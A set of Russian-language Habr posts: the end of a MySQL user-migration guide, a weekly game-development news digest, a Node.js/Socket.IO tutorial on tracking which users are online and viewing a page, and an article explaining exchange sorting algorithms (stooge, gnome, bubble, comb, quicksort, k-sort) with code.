Иначе оставьте всё как есть.
Начиная с версии MySql 5.7 пароль пользователя хранится в поле authentication\_string, до этого в поле password.
Запустим скрипт на исполнение и скопируем вывод, получится что-то вроде:
```
CREATE USER 'root'@'localhost' IDENTIFIED BY '*MD5-HASH';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION;
GRANT PROXY ON ''@'' TO 'root'@'localhost' WITH GRANT OPTION;
CREATE USER 'mysql.sys'@'localhost' IDENTIFIED BY '*MD5-HASH';
GRANT USAGE ON *.* TO 'mysql.sys'@'localhost';
GRANT TRIGGER ON `sys`.* TO 'mysql.sys'@'localhost';
GRANT SELECT ON `sys`.`sys_config` TO 'mysql.sys'@'localhost';
CREATE USER 'debian-sys-maint'@'localhost' IDENTIFIED BY '*MD5-HASH';
GRANT ALL PRIVILEGES ON *.* TO 'debian-sys-maint'@'localhost' WITH GRANT OPTION;
CREATE USER 'your_user'@'localhost' IDENTIFIED BY '*MD5-HASH';
GRANT ALL PRIVILEGES ON `your_DB`.* TO 'your_user'@'localhost' WITH GRANT OPTION;
```
От греха подальше удалим скрипт и изучим полученный вывод. Удалим все записи с системными пользователями, включая пользователя root.
Тем или иным способом внесем данные на новый сервер MySQL.
Всё! Отписываемся в комментариях о ваших способах решения данной задачи. Приветствуется любая конструктивная критика. | https://habr.com/ru/post/328604/ | null | ru | null |
# Недельный геймдев: #101 — 25 декабря, 2022
Из [новостей](https://suvitruf.ru/2022/12/25/13212/weekly-gamedev-101-25-december-2022/): в сеть выложили исходный код отменённой Rayman 4, Rust-gpu 0.4 с трассировкой лучей, Kickstarter изменил правила в отношении ИИ-проектов на платформе.
Из интересностей: фреймворк для процедурной музыки в видеоиграх, обзор самописной 2D системы освещения для top-down Pixel Art игр на расте и wgsl.
### Обновления/релизы/новости
#### В сеть выложили исходный код отменённой Rayman 4
От этой версии отказались, а наработки [использовали](https://dtf.ru/games/1527193-v-set-vylozhili-ishodnyy-kod-otmenennoy-rayman-4-igra-dolzhna-byla-byt-3d-platformerom-s-bolshimi-urovnyami) в спин-оффе Raving Rabbids, который представляет из себя сборник с мини-играми.
#### Физический движок Havok теперь официально готов к проду в Unity 2022.2 Tech Stream
С [поддержкой](https://blog.unity.com/technology/havok-physics-now-supported-for-production) ECS.
#### Статус рендера OpenGL 3 в Godot
Ранее команда думала, что фича не будет готова к 4.1. Однако теперь [уверена](https://godotengine.org/article/status-of-opengl-renderer), что оно рендер войдёт в 4.0, но будет, правда, не полноценным.
#### Обновления глобального освещения в Unity 2022.2
С выходом 2022.2 Tech Stream вы заметите ускорение запекания света с помощью Progressive Lightmappers Unity. Также [внесли](https://blog.unity.com/technology/global-illumination-updates-in-2022-2) изменения для трассировки пути в конвейер рендеринга High Definition Render Pipeline (HDRP) и добавили функции в предварительную версию Adaptive Probe Volumes (APV).
#### Rust-gpu 0.4 с трассировкой лучей
Помимо этого ещё [куча других изменений](https://github.com/EmbarkStudios/rust-gpu/releases/tag/v0.4.0).
#### Kickstarter изменил правила в отношении ИИ-проектов на платформе
А также [приостановил](https://updates.kickstarter.com/ai-current-thinking/) кампанию проекта Unstable Diffusion.
#### Rust GameDev #40: ноябрь 2022
Месячная [подборка новостей и проектов](https://gamedev.rs/news/040/) в геймдев сообществе растовиков.
#### Релиз Pixel Composer
Основанный на нодах VFX-редактор для пиксельной графики. В версии 1.0 [представлено](https://makham.itch.io/pixel-composer) масштабирование пользовательского интерфейса, настройка, улучшенные ноды и исправления ошибок.
### Халява/раздачи/бандлы/курсы
#### Unity & Unreal RPG Essentials
Полезный для [Unity и Unreal Engine разработчиков бандл](https://www.humblebundle.com/software/unity-unreal-rpg-essentials-blink-software) состоит из персонажей, ассетов оружия и текстур с эстетикой World of Warcraft.
#### Бесплатные инструменты для разработки игр и наборы для быстрого старта проекта
Команда Unity [собрала](https://blog.unity.com/games/free-asset-store-tools-to-kick-start-your-next-project) в посте полезные ссылки и инструменты, которые могут помочь вам на старте проекта.
### Интересные статьи/видео
#### Area Lights
В туториале [объясняется](https://learnopengl.com/Guest-Articles/2022/Area-Lights), как реализовать area Lights с помощью OpenGL.
Реализована техника «Linearly Transformed Cosines» из доклада 2016 года.
#### Быстрая генерация CDF на GPU
В статье [объясняется](https://blog.traverseresearch.nl/fast-cdf-generation-on-the-gpu-for-light-picking-5c50b97c552b), как построить кумулятивную функцию распределения (CDF) для ускорения сэмплинга источников света в трассировщике лучей в реальном времени.
#### Фреймворк для процедурной музыки в видеоиграх
Внушительная [статья](https://www.gamedeveloper.com/audio/deep-dive-generative-music-in-video-games) про процедурную музыку. Примеры разных игр и много ссылок по теме, включая ссылки на исследования.
#### Как создавалась лицевая анимация персонажей в Marvel’s Guardians of the Galaxy
Полный [цикл](https://skillbox.ru/media/gamedev/kak-sozdavalas-litsevaya-animatsiya-personazhey-v-marvels-guardians-of-the-galaxy/) работы аниматоров Eidos Montreal.
#### От спален к миллиардам. Революция PlayStation
В фильме режиссёры Энтони Колфилд и Никола Колфилд расскажут историю появления игрового подразделения Sony и его развитие с течением времени. В беседе с разработчиками описывается, какие инновации привнесла в игровую индустрию PlayStation и как она породила революцию в гейминге.
Озвучено проектом NikiStudio.
#### Объяснение шейдеров: дизеринг
В статье [объясняется](https://mtldoc.com/metal/2022/11/20/shaders-explained-dithering), как реализовать два разных типа дизеринга в шейдерах металла.
Представлены алогиртмы и их сравнение.
#### Неплохое видео с .NET Conf 2022 в контексте Unity и их пути в сторону CoreCLR, MSBuild
По [мелочи](https://www.youtube.com/watch?v=T6HhePbyAsg):
* Переход на MSBuild, замена asmdef на csproj.
* NuGet пакеты никогда не смогут ссылаться на Unity packages.
* Переход на .NET Core, embedding API сейчас пилят поверх CoreCLR.
* При переходе на CoreCRL в дебагере можно будет смотреть mixed stacktrace (native + managed code).
* С корутинами сложно работать, проблемно останавливать и т. п. Поэтому в последней версии Unity появился `Awaitable`, который совместим с `async/await`.
В целом познавательное видео в контексте истории движка и планов на ближайшее будущее.
#### Odyssey Interactive, новая студия, состоящая из бывших разработчиков Riot Games, рассказывает о создании мультиплатформенной Omega Strikers
Команда Epic Games [поговорила](https://www.unrealengine.com/en-US/developer-interviews/odyssey-interactive-a-new-studio-composed-of-former-riot-games-devs-talks-about-creating-multiplatform-game-omega-strikers) с разработчиками Odyssey Interactive, чтобы лучше понять их подход к разработке игр и узнать больше о предстоящем релизе, основных игровых механиках и художественном стиле Omega Strikers, о том, как опыт Riot повлиял на их видение и как Unreal Engine помогает воплощать свои творческие идеи в жизнь.
#### Обзор самописной 2D системы освещения для top-down Pixel Art игр на расте и wgsl
В последние два с половиной месяца автор с головой ушёл в разработку системы освещения для top-down 2D игр. В данный момент у него готова полностью динамическая система для первичного и вторичного света методом расчёта проб через трассировку лучей в SDF пространстве. Он [решил поделиться](https://dtf.ru/gamedev/1519228-obzor-samopisnoy-2d-sistemy-osveshcheniya-dlya-top-down-pixel-art-igr-na-raste-i-wgsl) прогрессом, кодом и техническим описанием подхода.
#### C++ для Maya
В статье автор [решил поделиться](https://habr.com/ru/post/706740/) тем опытом, который приобрёл при написании плагина на C++ для Maya.
#### Как разработчику найти издателя и подготовиться к общению с ним
Большая [подборка](https://skillbox.ru/media/gamedev/kak-razrabotchiku-nayti-izdatelya-i-podgotovitsya-k-obshcheniyu-s-nim/) рекомендаций от сотрудника Ravenage.
#### Как сделать суперхит в hypercasual?
Макс Деревягин в гостях у Пилим Трем рассказал про свой путь от ранних Flash игр через корпоративный мобайл к hyper-casual хитам.
#### Опыт релиза своей игры на VKplay
Автор [решил рассказать](https://dtf.ru/indie/1520425-kak-ya-svoyu-igru-na-vkplay-relizil), что из себя представляет платформа.
#### Ускорение сборки проектов в Unity за счёт инкрементального пайплайна
В блоге разработчики движка [рассказали](https://blog.unity.com/technology/accelerating-player-builds-with-incremental-build-pipeline), как они к этому пришли.
#### Мой слон в комнате: постмортем Old World
В докладе с GDC 2022 Сорен Джонсон из Mohawk Games рассказывает, как студия стремилась оживить исторический жанр 4X, уменьшив тематический охват и убрав механические решения, чтобы освободить место для процедурных персонажей и повествования.
#### Сервис полезных ссылок и ресурсов для разработчиков игр и геймдизайнеров
Эдуард Кумыков [делится](https://dtf.ru/gamedev/1523439-servis-poleznyh-ssylok-i-resursov-dlya-razrabotchikov-igr-i-geymdizaynerov) интересными ссылками, статьями, сервисами и материалами для разработчиков игр и всех смежных профессий, которые участвуют в разработке. В сервисе уже около 300 полезных ссылок.
#### Как нейросети могут помочь художникам в геймдеве и смогут ли заменить их в будущем
Skillbox media рассказывают и [показывают](https://skillbox.ru/media/gamedev/kak-neyroseti-mogut-pomoch-khudozhnikam-v-geymdeve-i-smogut-li-zamenit-ikh-v-budushchem/), как работают нейросети, а также разбираются, как они могут использоваться в играх.
#### Flutter Flame: глобальная оптимизация производительности игрового движка
В статье автор [собрал полезные советы](https://habr.com/ru/post/706256/) по работе с движокм.
#### Разбор Horizon: Forbidden West: как нововведения разработчиков отразились на сиквеле
Обзор ключевых особенностей игры с [комментариями разработчиков](https://skillbox.ru/media/gamedev/razbor-horizon-forbidden-west-kak-novovvedeniya-razrabotchikov-otrazilis-na-sikvele/).
### Разное
#### Charge — Blender Open Movie
Подробности и ассеты на [сайте Blender](https://studio.blender.org/films/charge/).
#### Буря над городом
Из [Твиттера](https://twitter.com/JanOrszulik/status/1604683700544880641).
#### Генератор линий электропередач
Из [Твиттера](https://twitter.com/JesseMiettinen/status/1606972962510626816).
---
Если хотите поддержать выход дайджеста и других материалов, сделать это можно одним из способов.
* [На Патреоне](https://www.patreon.com/suvitruf)
* [На Boosty](https://boosty.to/apanasik)
* [Через Paypal](https://www.paypal.com/paypalme/andreiapanasik)
* [Через Яндекс.Деньги](https://yoomoney.ru/to/41001674710054) | https://habr.com/ru/post/707656/ | null | ru | null |
# Реалтайм-система мониторинга активности пользователей на сайте. Теперь на Node.js + Socket.IO
Добрый день.
В этой статье я расскажу о том, как реализовать систему мониторинга активности пользователей с помощью Node.js и Socket.IO. Выглядит это примерно так:
Писалось это для ERP-системы, в которой взаимодействие работников немаловажно, в частности для избегания ситуаций, когда два оператора будут редактировать один товар.
##### Задача
Итак, для сервера на Node.js (express, connect) необходимо было реализовать данную систему мониторинга, которая информировала бы об активности пользователей в реальном времени (т.е. вышедший из системы пользователь сразу пропадал из списка "*Пользователи онлайн*", перешедший на другую страницу — пропадал из "*Эту страницу просматривают*", а вошедший, соответственно, появлялся в списках).
Сразу оговорюсь, что ввиду закрытости системы от остального мира, обязательным началом работы является аутентификация.
Ну и прежде чем приступать — тем, кто не очень знаком с азами Socket.IO советую посмотреть на [типовую реализацию чата](http://habrahabr.ru/post/127525/).
##### Клиент
Клиентская часть в данном деле реализуется довольно просто, поэтому не буду заострять внимание на внешней красоте. Упомяну лишь что нижеприведённый код включён в базовый шаблон, т.е. присутствует на каждой загружаемой странице.
Вот список того что нам понадобится: элементы с id=«sockstat» (для отображения статуса подключения), с id=«alsohere» (для списка тех, кто просматривает страницу), id=«online» (для списка всех тех, кто онлайн), естественно вот такая штука
```
```
,
и маленькая вспомогательная ф-ия, делающая из массива элементы маркированного списка:
```
function lister(arr) {
var s = '';
$.each(arr, function(key, value) {
s += '- **' + value.name + '** (login: ' + value.login +
', id: ' + value.user\_id + ')
';
});
return s;
}
```
Теперь всё готово. Механизм таков:
```
$(document).ready(function() {
var socket = io.connect("http://localhost:8080"); // пытаемся подключиться к серверу сокетов
socket.on("connect", function () { // подключившись, делаем следующее:
$("#sockstat").text("connected ok");
// пишем в соответствующий элемент что связь установлена
socket.emit("iamhere", { location: document.URL } );
// и посылаем серверу своё местоположение
socket.on("alsohere", function (alsohere) {
// получив от него список просматривающих эту же страницу, выводим его:
$("#alsohere").html('Эту страницу просматривают: ' + lister(alsohere) + '
');
});
socket.on("online", function (online) {
// аналогично поступаем со списком всех онлайн-пользователей
$("#online").html('Пользователи онлайн: ' + lister(online) + '
');
});
socket.on("disconnect", function () {
// если связь потеряна - пишем об этом (почему спустя полсекунды, объясню чуть ниже)
setTimeout(function () {
$("#sockstat").text("connection lost!");
}, 500);
});
});
});
```
Покидая страницу (переходя по ссылке, например), сначала разрывается сокетная связь с сервером, и только потом рендерится и отдаётся клиенту новая страница, возобновляя подключение. Поэтому, чтобы уходя со страницы, не высвечивалось сообщение о разрыве понапрасну на долю секунды, и сделана эта задержка в полсекунды.
Маленькая хитрость, зато пользователь всегда сможет уверенно говорить: «Не было никаких разрывов!», пока сервер действительно не упадёт.
Вроде просто? А так и есть.
##### Сервер: поверхность
В коде запускаемого файла проекта — в index.js, помимо всяких штук типа
```
app.configure();
```
подключаем наш рукописный sockets.js, отвечающий за работу с сокетами, необходимыми в нашем деле:
```
require('./sockets');
```
В нём помимо собственно обработки событий, содержится функция авторизации — которая и даёт разрешение на создание подключения для тех, кто подходит по определённым критериям. В нашем случае это те, кто предварительно залогинился.
В общем виде это выглядит [вот так](https://gist.github.com/1865578) (обратите внимание на *sio.set('authorization'...)*).
А теперь сам алгоритм. Для начала — на русском языке.
Обозначений тут будет 2:
* **online** — список всех пользователей он-лайн
* **alsohere** — список пользователей на той же странице, что и клиент
Этапов в алгоритме тоже 2 — обработка нового подключения и обработка сообщения о том что клиент отключился.
Как только к нам (серверу) подключается, т.е. проходит авторизацию, заходит на страницу и сообщает своё местоположение —
```
socket.emit("iamhere", { location: document.URL } );
```
клиент, мы должны:
1. запомнить кто зашёл и куда (добавить его в online)
2. разослать всем активным обновлённый online
3. разослать всем просматривающим ту же страницу — обновлённый alsohere
Когда же клиент отключается — 1. запомнить кто вышел и откуда(убрать его из online)
2. разослать всем активным обновлённый online
3. разослать просматривающим страницу, с которой только что ушёл клиент, обновлённый alsohere
Логично? Продолжаем.
##### Сервер: чуть глубже
Для реализации вышеописанного я решил особо не нагружать файл socket.js и вынес функции «подай-принеси» в отдельный файл — auth.js.
Он устроен так:
```
var auth = function () {
"use strict";
// Private - наши внутренние переменные/функции
var __users = [],
...,
return {
...
// Public - экспортируемые переменные/функции
};
}();
module.exports = auth;
```
Основной же блок socket.js таков:
```
sio.sockets.on('connection', function (socket) {
var hs = socket.handshake;
auth.addActiveUser({ login: hs.session.user, name: hs.session.username, id: hs.session.user_id });
// вот он, первый шаг при подключении - добавляем пользователя в список активных
socket.on('iamhere', function (msg) {
// а получив от него сигнал о местоположении - запоминаем его
auth.addPageActiveUser({
login: hs.session.user,
path: msg.location,
path_id: socket.id
});
auth.getListActiveUser(function (online) {
// затем рассылаем всем обновлённый online (шаг 2)
socket.emit('online', online);
socket.broadcast.emit('online', online);
});
auth.getListByPageActiveUser({ path: msg.location }, function (alsohere) {
// блок проще чем кажется - всего лишь рассылаем пользователям, сидящим
// на той же странице, куда зашёл новенький, обновлённый список alsohere
var i,
len;
auth.getListByPageConnection({ path: msg.location, users: alsohere }, function (connections) {
len = connections.length;
for (i = 0; i < len; i++) {
sio.sockets.sockets[connections[i].id].emit('alsohere', alsohere);
}
});
});
});
socket.on('disconnect', function () { // действия при дисконнекте аналогичны:
var s = auth.getPageByIdConnection(socket.id);
// определяем, какую страницу закрыл пользователь,
setTimeout(function () {
auth.removeActiveUser({ login: hs.session.user }); // вычёркиваем его из списка активных,
auth.getListActiveUser(function (online) { // рассылаем всем обновлённый online,
socket.broadcast.emit('online', online);
});
auth.removePageActiveUser({ login: hs.session.user, path_id: socket.id });
// вычёркиваем закрытую страницу из списка открытых им
auth.getListByPageActiveUser({ path: s }, function (alsohere) {
// и рассылаем всем тем, кто сидел на свежезакрытой странице
// их новый список alsohere
var i,
len;
auth.getListByPageConnection({ path: s, users: alsohere }, function (connections) {
len = connections.length;
for (i = 0; i < len; i++) {
sio.sockets.sockets[connections[i].id].emit('alsohere', alsohere);
}
});
});
}, 1000); // и снова хитрость с таймером - дабы не смущать
// других клиентов "мельканием" человека, переходящего со страницы на страницу
});
});
```
Вуаля.
##### Раскрытие магии
В модуле auth все эти данные о пользователях — об их подключениях и страницах, сессиях — хранятся в виде объекта в приватной переменной \_\_activeUsers.
Для каждого пользователя создаётся поле — \_\_activeUsers[login], содержащее в себе поля: * **name** — имя пользователя — не путать с логином («vasya»/«Василий Иванович»)
* **user\_id** — внутренний id пользователя — как и предыдущее поле, используется для последующей передачи в клиент, например для формирования ссылок "/users/user\_id"
* **locations** — массив объектов, состоящих из двух полей: **path** — собственно путь к открытой странице и **id** — id данного подключения к сокету
Соответственно, модуль auth выставляет наружу только public-методы, работающие с вышеописанной переменной. Они представляют собой ф-ии, состоящие из переборов *for*, *for..in*, *push*'ей и *splice*'ов:
* **addActiveUser** — добавляет данные о новом пользователе в \_\_activeUsers
* **addPageActiveUser** — добавляет пользователю новую открытую страницу (*\_\_activeUsers[sLogin].locations.push({ path: sPath, id: sPath\_id });*)
* **getListActiveUser** — возвращает список активных пользователей (*for (i in \_\_activeUsers) { list.push(...*
* **getListByPageActiveUser** — по переданному пути возвращает список юзеров, просматривающих ту же страницу
* **getListByPageConnection** — по переданному адресу страницы возвращает список айдишников коннектов, ссылающихся на ту же страницу
* **getPageByIdConnection** — по id коннекта возвращает адрес страницы (покидая страницу клиент передаёт нам только id, а не путь)
* **removeActiveUser** — декрементирует юзеру его кол-во открытых страниц
* **removePageActiveUser** — удаляет закрытую страницу из списка открытых
Подключаясь с серверу и успешно проходя аутентификацию, пользователь получает *socket.handshake* с уникальным id для данного пользователя.
Открывая новую страницу, на это подключение заводится уникальный *socket.id* для данной страницы. То есть 1 пользователь с 10ю открытыми страницами — это 1 handshake.id и 10 разных socket.id.
А дальше дело техники — манипулируя этими данными, мы с использованием вышеописанной структуры данных всегда можем сказать кто и что у нас просматривает/редактирует.
И вся «сложность» реализации состоит в том чтобы перебирать поля объекта и массивы, доставая нужное. А это мы умеем :)
Так что теперь можно ещё раз посмотреть на вышеприведённый кусок кода и всё станет ясно.
Надеюсь принцип работы вы поняли, где какие id не перепутаете, куда нужно вставите таймауты для сглаживания переданной клиенту информации; ну а с реализацией для вашей конкретной задачи проблем возникнуть не должно.
Удачи.
P.S. Opera (тестировал на v.11.62) при закрытии страниц, в отличие от FF и хрома, не утруждает себя отсылкой серверу сообщения о дисконнекте клиента. Потому отключившиеся/покинувшие страницу пользователи висят в списке активных ещё несколько секунд, пока сервер их не отключит автоматически по таймауту. | https://habr.com/ru/post/143162/ | null | ru | null |
# Сортировки обменами
[](https://habr.com/post/414653/)
Если описать в паре предложений по какому принципу работают сортировки обменами, то:
1. Попарно сравниваются элементы массива
2. Если элемент слева\* больше элемента справа, то элементы меняются местами
3. Повторяем пункты 1-2 до тех пор, пока массив не отсортируется
*\* — под элементом слева подразумевается тот элемент из сравниваемой пары, который находится ближе к левому краю массива. Соответственно, элемент справа находится ближе к правому краю.*
Сразу прошу прощения за повторение общеизвестного материала, вряд ли хоть один из алгоритмов в статье станет для Вас откровением. Про эти сортировки на Хабре писалось уже неоднократно (в том числе и мной — [1](https://habr.com/post/198114/), [2](https://habr.com/post/204600/), [3](https://habr.com/post/204968/)) и спрашивается, зачем опять возвращаться к этой теме? Но раз уж я решил написать [связную серию статей про все сортировки на свете](https://habr.com/post/414447/), мне приходится хотя бы в экспресс-варианте пройтись и по обменным способам. При рассмотрении следующих классов уже будет много новых (и мало кому известных) алгоритмов, заслуживающих отдельных интересных статей.
Традиционно к «обменникам» относят сортировки, в которых элементы меняются (псевдо)случайным образом (bogosort, bozosort, permsort и т.п.). Однако я не стал их включать в этот класс, так как в них отсутствуют сравнения. Про эти сортировки будет отдельная статья, где мы вдоволь пофилософствуем о теории вероятности, комбинаторике и тепловой смерти Вселенной.
Придурковатая сортировка :: Stooge sort
=======================================
1. Сравниваем (и при необходимости меняем) элементы на концах подмассива.
2. Берём две трети подмассива от его начала и к этим 2/3 рекурсивно применяем общий алгоритм.
3. Берём две трети подмассива от его конца и к этим 2/3 рекурсивно применяем общий алгоритм.
4. И опять берём две трети подмассива от его начала и к этим 2/3 рекурсивно применяем общий алгоритм.
Изначально подмассив — весь массив. А дальше рекурсия дробит родительский подмассив на 2/3, производит сравнения/обмены на концах раздробленных отрезков и в итоге всё упорядочивает.
```
def stooge_rec(data, i = 0, j = None):
if j is None:
j = len(data) - 1
if data[j] < data[i]:
data[i], data[j] = data[j], data[i]
if j - i > 1:
t = (j - i + 1) // 3
stooge_rec(data, i, j - t)
stooge_rec(data, i + t, j)
stooge_rec(data, i, j - t)
return data
def stooge(data):
return stooge_rec(data, 0, len(data) - 1)
```
Выглядит шизофренично, но тем не менее это на 100% корректно.
Вялая сортировка :: Slow sort
=============================
И здесь мы наблюдаем рекурсивную мистику:
1. Если подмассив состоит из одного элемента, то завершаем рекурсию.
2. Если подмассив состоит из двух и более элементов, то делим его пополам.
3. Применяем рекурсивно алгоритм к левой половинке.
4. Применяем рекурсивно алгоритм к правой половинке.
5. Сравниваются элементы на концах подмассива (и меняются при необходимости).
6. Рекурсивно применяем алгоритм к подмассиву без последнего элемента.
Изначально подмассив — это весь массив. А рекурсия будет дальше половинить, сравнивать и менять пока всё не отсортирует.
```
def slow_rec(data, i, j):
if i >= j:
return data
m = (i + j) // 2
slow_rec(data, i, m)
slow_rec(data, m + 1, j)
if data[m] > data[j]:
data[m], data[j] = data[j], data[m]
slow_rec(data, i, j - 1)
def slow(data):
return slow_rec(data, 0, len(data) - 1)
```
Похоже на бред, однако массив упорядочивается.
### Почему корректно работают StoogeSort и SlowSort?
Пытливый читатель задаст резонный вопрос: а почему эти два алгоритма вообще срабатывают? Они вроде простые, а не особо-то очевидно, что так можно что-то отсортировать.
Давайте сначала разберём Slow sort. Последний пункт этого алгоритма намекает, что рекурсивные усилия вялой сортировки направлены только на то, чтобы в правую крайнюю позицию поставить наибольший элемент в подмассиве. Это особенно заметно, если применить алгоритм к обратно упорядоченному массиву:
Хорошо видно, что на всех уровнях рекурсии максимумы быстро мигрируют вправо. Затем эти максимумы, оказавшиеся там где нужно, выключаются из игры: алгоритм вызывает сам себя — но уже без последнего элемента.
В Stooge sort происходит похожая магия:
На самом деле тут тоже делается упор на максимальных элементах. Только Slow sort их в конец перемещают по одному, а Stooge sort треть элементов подмассива (самые крупные из них) задвигает в крайнюю справа треть ячеечного пространства.
Переходим к алгоритмам, где уже всё достаточно очевидно.
Туповатая сортировка :: Stupid sort
===================================
Очень осторожная сортировка. Она идёт от начала массива до конца и сравнивает соседние элементы. Если два соседних элемента пришлось поменять местами, то сортировка на всякий случай возвращается в самое начало массива и начинает всё заново.
```
def stupid(data):
i, size = 1, len(data)
while i < size:
if data[i - 1] > data[i]:
data[i - 1], data[i] = data[i], data[i - 1]
i = 1
else:
i += 1
return data
```
Гномья сортировка :: Gnome sort
===============================
Почти то-же самое, но тут сортировка при обмене не возвращается в самое начало массива, а делает всего один шаг назад. Этого, оказывается, вполне достаточно чтобы всё отсортировать.
```
def gnome(data):
i, size = 1, len(data)
while i < size:
if data[i - 1] <= data[i]:
i += 1
else:
data[i - 1], data[i] = data[i], data[i - 1]
if i > 1:
i -= 1
return data
```
### Оптимизированная гномья сортировка
Но можно сэкономить не только на отступлении, но и при движении вперёд. При подряд нескольких обменах приходится делать столько же шагов назад. А потом приходится возвращаться обратно (сравнивая по пути элементы, которые и так упорядочены друг относительно друга). Если запоминать позицию, с которой начались обмены, то затем можно сразу же перепрыгнуть в эту позицию, когда обмены завершены.
```
def gnome(data):
i, j, size = 1, 2, len(data)
while i < size:
if data[i - 1] <= data[i]:
i, j = j, j + 1
else:
data[i - 1], data[i] = data[i], data[i - 1]
i -= 1
if i == 0:
i, j = j, j + 1
return data
```
Пузырьковая сортировка :: Bubble sort
=====================================
В отличие от глупой и гномьей сортировки при обмене элементов в пузырьковой никаких возвратов не происходит — она продолжает двигаться вперёд. Дойдя до конца, происходит перемещение наибольшего элемента массива в самый конец.
Затем сортировка повторяет весь процесс заново, в результате чего второй элемент по старшинству оказывается на предпоследнем месте. На следующей итерации третий по величине элемент оказывается третьим с конца и т.д.
```
def bubble(data):
changed = True
while changed:
changed = False
for i in range(len(data) - 1):
if data[i] > data[i+1]:
data[i], data[i+1] = data[i+1], data[i]
changed = True
return data
```
### Оптимизированная пузырьковая сортировка
Можно немного выгадать на проходах по началу массива. В процессе первые элементы оказывается временно упорядоченными друг относительно друга (эта отсортированная часть постоянно меняется в размерах — то уменьшается, то увеличивается). Это легко фиксируется и при новой итерации можно просто перепрыгнуть через группу таких элементов.
*(Проверенную реализацию на Питоне добавлю сюда чуть позже. Не успел подготовить.)*
Шейкерная сортировка :: Shaker sort
(Коктейльная сортировка :: Cocktail sort)
==============================================================================
Разновидность пузырька. На первом проходе как обычно — задвигаем максимум в конец. Потом резко разворачиваемся и толкаем минимум в начало. Отсортированные крайние области массива увеличиваются в размерах после каждой итерации.
```
def shaker(data):
up = range(len(data) - 1)
while True:
for indices in (up, reversed(up)):
swapped = False
for i in indices:
if data[i] > data[i+1]:
data[i], data[i+1] = data[i+1], data[i]
swapped = True
if not swapped:
return data
```
Чётно-нечётная сортировка :: Odd-even sort
==========================================
Снова итерации по попарному сравнению соседних элементов при движении слева-направо. Только сначала сравниваем пары у которых первый элемент — нечётный по счёту, а второй — чётный (т.е. первый и второй, третий и четвёртый, пятый и шестой и т.д.). А потом наоборот — чётный + нечётный (второй и третий, четвёртый и пятый, шестой и седьмой и т.д.). В этом случае многие крупные элементы массива на одной итерации одновременно делают один шаг вперёд (в пузырьке самый крупный за итерацию доходит до конца, но остальные немаленькие практически все остаются на месте).
Кстати, это изначально была параллельная сортировка со сложностью O(n). Надо будет в [AlgoLab](https://habr.com/post/414447/) реализовать в разделе «Параллельные сортировки».
```
def odd_even(data):
n = len(data)
isSorted = 0
while isSorted == 0:
isSorted = 1
temp = 0
for i in range(1, n - 1, 2):
if data[i] > data[i + 1]:
data[i], data[i + 1] = data[i + 1], data[i]
isSorted = 0
for i in range(0, n - 1, 2):
if data[i] > data[i + 1]:
data[i], data[i + 1] = data[i + 1], data[i]
isSorted = 0
return data
```
Сортировка расчёской :: Comb sort
=================================
Самая удачная модификация пузырька. Алгоритм по скорости соперничает с быстрой сортировкой.
Во всех предыдущих вариациях мы сравнивали соседей. А тут сначала рассматриваются пары элементов, находящиеся друг от друга на максимальном расстоянии. При каждой новой итерации это расстояние равномерно сужается.
```
def comb(data):
gap = len(data)
swaps = True
while gap > 1 or swaps:
gap = max(1, int(gap / 1.25)) # minimum gap is 1
swaps = False
for i in range(len(data) - gap):
j = i + gap
if data[i] > data[j]:
data[i], data[j] = data[j], data[i]
swaps = True
return data
```
Быстрая сортировка :: Quick sort
================================
Ну и самый продвинутый обменный алгоритм.
1. Делим массив пополам. Средний элемент — опорный.
2. Движемся от левого края массива вправо, до тех пор пока не обнаружим элемент, который больше опорного.
3. Движемся от правого края массива влево, до тех пор пока не обнаружим элемент, который меньше опорного.
4. Меняем местами два элемента, найденные в пунктах 2 и 3 .
5. Продолжаем выполнять пункты 2-3-4 пока в результате обоюдного движения не произойдёт встреча.
6. В точке встречи массив делится на две части. К каждой части рекурсивно применяем алгоритм быстрой сортировки.
Почему это работает? Слева от точки встречи находятся элементы, меньшие или равные чем опорный. Справа от точки встречи находятся элементы большие или равные чем опорный. То есть, любой элемент из левой части меньше или равен любого элемента из правой части. Поэтому в точке встречи массив можно смело поделить на два подмассива и аналогично рекурсивно сортировать каждый подмассив.
```
def quick(data):
less = []
pivotList = []
more = []
if len(data) <= 1:
return data
else:
pivot = data[0]
for i in data:
if i < pivot:
less.append(i)
elif i > pivot:
more.append(i)
else:
pivotList.append(i)
less = quick(less)
more = quick(more)
return less + pivotList + more
```
K-сортировка :: K-sort
======================
На Хабре [опубликован перевод](https://habr.com/post/333710/) одной из статей, где сообщается о модификации QuickSort, которая на 7 миллионах элементов обгоняет пирамидальную сортировку. Кстати, само по себе это сомнительное достижение, ибо классическая пирамидальная сортировка не бьёт рекордов быстродействия. В частности, её асимптотическая сложность ни при каких условиях не достигает O(n) (особенность данного алгоритма).
Но дело в другом. По авторскому (причём, очевидно некорректному) псевдокоду вообще не понять какова, собственно, основная идея алгоритма. Лично у меня сложилось впечатление что авторы какие-то проходимцы, которые действовали по такому методу:
1. Заявляем о изобретении супер-алгоритма сортировки.
2. Подкрепляем заявление неработающим и непонятным псевдокодом (типа, умным и так ясно, а дуракам понять всё равно не дано).
3. Приводим графики и табицы, якобы демонстрирующие практическую скорость алгоритма на больших данных. Ввиду отсутствия реально работающего кода всё равно никто не сможет ни проверить ни опровергнуть эти статистические выкладки.
4. [Публикуем ахинею](https://arxiv.org/ftp/arxiv/papers/1107/1107.3622.pdf) на Arxiv.org под видом научной статьи.
5. PROFIT!!!
Может, я зря наговариваю на людей и на самом деле алгоритм рабочий? Кто-нибудь может пояснить как работает k-sort?
**UPD. Мои огульные обвинения авторов сортировки в мошенничестве оказались несостоятельными :) Пользователь [jetsys](https://habr.com/ru/users/jetsys/) разобрался в псевдокоде алгоритма, написал работающую версию на PHP и прислал мне её в личных сообщениях:**
**K-sort на PHP**
```
function _ksort(&$a,$left,$right){
$ke=$a[$left];
$i=$left;
$j=$right+1;
$k=$p=$left+1;
$temp=false;
while($j-$i>=2){
if($ke<=$a[$p]){
if(($p!=$j) && ($j!=($right+1))){
$a[$j]=$a[$p];
}
else if($j==($right+1)){
$temp=$a[$p];
}
$j--;
$p=$j;
} else {
$a[$i]=$a[$p];
$i++;
$k++;
$p=$k;
}
}
$a[$i]=$ke;
if($temp) $a[$i+1]=$temp;
if($left<($i-1)) _ksort($a,$left,$i-1);
if($right>($i+1)) _ksort($a,$i+1,$right);
}
```
Анонс
-----
Это всё была теория, пора переходить к практике. Следующая статья — тестирование сортировок обменами на разных наборах данных. Мы узнаем:
